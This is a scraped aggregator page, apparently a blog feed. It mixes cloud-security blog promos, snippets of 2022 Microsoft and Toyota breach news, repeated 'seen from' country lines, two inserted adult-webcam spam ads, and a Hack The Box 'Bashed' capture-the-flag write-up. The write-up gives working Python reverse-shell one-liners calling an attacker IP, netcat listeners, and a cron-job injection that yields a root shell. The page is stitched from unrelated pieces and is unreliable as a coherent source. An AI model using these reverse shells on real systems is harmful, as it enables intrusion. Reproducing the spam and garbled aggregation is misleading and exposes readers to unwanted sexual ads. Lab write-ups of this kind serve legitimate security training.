Lessons Learned from Recent Cloud Security Failures
Read the full report on -
CyberDudeBivash offers real-time cybersecurity news, threat intelligence, zero-day vulnerabilities, malware reports, and security tools.
seen from China
seen from Greece
seen from Russia
seen from China
seen from Poland

seen from United States
seen from United States

seen from United States

seen from United States
seen from Germany
seen from China

seen from United States
seen from Pakistan
seen from China

seen from Belarus
seen from Greece
seen from United States
seen from Germany

seen from United States

seen from United States
Lessons Learned from Recent Cloud Security Failures
Read the full report on -
CyberDudeBivash offers real-time cybersecurity news, threat intelligence, zero-day vulnerabilities, malware reports, and security tools.

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.
Free to watch ⢠No registration required ⢠HD streaming
How a Single Misconfiguration Caused a Global Data Exposure
Read the full report on -https://cyberbivash.blogspot.com/2025/12/how-single-misconfiguration-caused.html
CyberDudeBivash offers real-time cybersecurity news, threat intelligence, zero-day vulnerabilities, malware reports, and security tools.
Kevin Malone
Microsoft Confirms Data Breach, But Claims Numbers Are Exaggerated
Microsoft Confirms Data Breach, But Claims Numbers AreĀ Exaggerated
Home āŗ Cloud Security Microsoft Confirms Data Breach, But Claims Numbers Are Exaggerated By Eduard Kovacs on October 20, 2022 Tweet Microsoft has confirmed that it inadvertently exposed information related to prospective customers, but claims that the company which reported the incident has exaggerated the numbers. Threat intelligence firm SOCRadar revealed on Wednesday that it has identifiedā¦
View On WordPress
Toyota Discloses Data Breach Impacting Source Code, Customer Email Addresses
Toyota Discloses Data Breach Impacting Source Code, Customer EmailĀ Addresses
Home āŗ Email Security Toyota Discloses Data Breach Impacting Source Code, Customer Email Addresses By Ionut Arghire on October 11, 2022 Tweet Japanese car manufacturer Toyota has disclosed a security incident that involved source code hosted on GitHub and which may have resulted in unauthorized access to roughly 300,000 customer email addresses. The incident, the company says, impacts customersā¦
View On WordPress

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.
Free to watch ⢠No registration required ⢠HD streaming
Hack The Box: Bashed ā Writeup
---------------------------------------------- Reconnaissance - Open port enumeration - Directories and files enumeration
Shell upgrade
Privilege Escalation - Check for misconfigurations - Inject reverse-shell payload ----------------------------------------------
RECONAISSANCE
nmap scan Check for open ports; run the nmap scan. ** though flag options may vary, Iāve included -O (for OS), -sV (for service version), -Pn (to check for active machines with ping disabled), -sC (for script), and -sS (for stealth).
INPUT: sudo nmap -sSCV -O -Pn 10.10.10.68 | tee ānmapscanā
There is only one open port, port 80. Since port 80 is a http service, we should be able to open up the web-server application from our browser and view the site. Moreover, since http is an unencrypted web server, we might be able to find some information from the siteās source code.
Gobuster Run a gobuster scan to enumerate web directories/files. ** Iāve run gobuster with the common.txt file (in /usr/share/wordlists/dirb/)
INPUT: gobuster dir -u http://10.10.10.68-w /usr/share/wordlists/dirb/common.txt | tee gobuster
There is only one network status 200, and a couple of redirects. Immediately we might notice some common directories like ācssā, āimagesā, and fontsā, but the information also tells us that the site utilizes āphpā and has an open ādevā directory for us to view.
We can also confirm this when we view the web page; looking through the blog post on the site, we can see that the user āArrexelā says he has been using phpbash āon this exact serverā. Perhaps the phpbash file is within the ādevā for developer directory?
Web page
*** before checking the ādevā directory, I was also looking for any information that might lead us to an exploit. Though unsuccessful, the siteās Content Management System (CMS) information and a page where we might be able to upload a Remote File Inclusion (RFI) or get to a Local File Inclusion (LFI) was worth examining.
Web page - /dev/ Weāve found the ādevelopersā page and it is unrestricted. This is a serious security misconfiguration, as the open shell gives access to the web-server for anyone. Since Arrexel stated in his blog post that he uses the phpbash for pentesting on this very site, we might expect some additional vulnerabilities once in the server.
UPGRADING SHELL
Although we have our initial foothold into the server, the bash shell may be limiting and buggy; there might be frequent freezes or crashes, and we might not be able to control tab complete. Letās upgrade our shell; we can accomplish this by launching a reverse shell payload from our targetās machine, and set up a listener from our attack machine to catch the signal.
*** I initially tried a php reverse shell and was unsuccessful; I tried the python reverse shell next, and that worked;
*** Donāt forget to set the ip address to your attackerās, vpn (often labeled as ātun0ā from ifconfig)
(from targetās shell) INPUT: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(from attackerās terminal) INPUT: netcat -nlvkp 1234
Weāre connected. Next, upgrade to a tty shell.
INPUT: python -c 'import pty; pty.spawn("/bin/bash")'
User flag Now that we have our own shell, letās search for the user flag. After searching through the home/arrexel/ directory, we find our user.txt and open it to find the flag .
PRIVILEGE ESCALATION
Recon The last step is escalating our privilege to root. But before doing so, weāll need more information about the server. We can check for any security misconfigurations like: - finding sudo permissions to run commands for any other users besides root - look up any files configured to setuid permissions - enumerate system services and kernel information - enumerate user information (checking /etc/passwd or /etc/shadow files), etc.
During this process weāll notice the following information. Our current user can run any commands as the script manager without a password.
INPUT: sudo -l
Additionally, after checking the directories and files, I notice that there is a directory called āscriptsā, where the user scriptmanager has read/write/execute permissions. When we initially try to view this directory as www-data, we will get a permission denied.
User, scriptmanager To view the scripts directory, letās switch to the user, scriptmanager. As scriptmanager, we should be able to view the scripts directory.
INPUT: sudo -u scriptmanager /bin/bash
When we view the test.py file, weāll notice something interesting. The script of the test.py file, opens and writes to the test.txt file.
Furthermore, when we ls -lh the test.txt file, weāll notice that the fileās timestamp is fairly recent.
If our theory is correct, the test.txt is running a cron job from Ā the test.py file, which means we should be able to edit the test.py file, and run it as the root user.
Hence, weāll edit the test.py file and include another reverse shell; only this time, since the cron job is referring the test.txt file as root, we should be able to listen in and receive a root shell.
(from targetās shell) INPUT: echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(from kali terminal) INPUT: netcat -nlvkp 4321
And⦠we are ROOT!
Find root flag Finally, search for the root flag; this will be found in /root/root.txt
Read the full article
Cloud computing has been here for more than two decades, yet several businesses find Cloud Security a challenge to tackle. One of the major contributions to data breach are miconfigurations and unattended myths.